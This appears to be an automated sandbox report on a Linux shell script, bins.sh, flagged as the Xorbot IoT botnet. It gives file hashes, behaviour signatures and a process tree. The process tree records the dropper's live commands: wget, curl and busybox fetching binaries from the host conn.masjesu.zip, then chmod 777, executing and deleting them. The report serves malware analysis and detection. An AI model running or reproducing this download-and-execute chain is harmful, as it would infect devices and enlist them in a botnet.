Analysis

  • max time kernel
    149s
  • max time network
    12s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    01/12/2024, 21:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    51d2a16062cf53c07946af78c250d684

  • SHA1

    e98e2960f116e30e208e01cefdb4a2baaab6958b

  • SHA256

    8beea9ee2f7c42432b5798c9ec2cfbb4ebe848ff58d16dd413e9dd5e05243df8

  • SHA512

    f65677631c37b240bc2e9be743e7f1cdb100be6551bd41dea3c5aa5f002f76d38f177dc18d07eec5239456cb6fb06c00ba87510b3067bd6b096db403f87b48a0

  • SSDEEP

    192:V+4+8+f+O+++mG6BogpeuaEsp0JXf4txZs7cYBa6GvNR16/nYG6BogguaEQB+4+h:VpB+3TzeuaEsuws8vNR16/nVuaEwpB+j

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:674
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:677
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • System Network Configuration Discovery
          PID:682
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:690
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • System Network Configuration Discovery
          PID:707
        • /bin/chmod
          chmod 777 UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • File and Directory Permissions Modification
          PID:709
        • /tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          ./UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
          • Executes dropped EXE
          PID:710
        • /bin/rm
          rm UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w
          2⤵
            PID:712
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • System Network Configuration Discovery
            PID:713
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/BFJMF6ZGI1Yc76ZQHdl9ds8OWwUZvBa6Gw
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:714

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • /tmp/UZiTyVZkTI98ob6yjX2zUbFmw5im96BO0w

          Filesize

          112KB

          MD5

          05d7857dcead18bbd86d2935f591873c

          SHA1

          34d18f41ef35f93d5364ce3e24d74730a4e91985

          SHA256

          2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

          SHA512

          d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e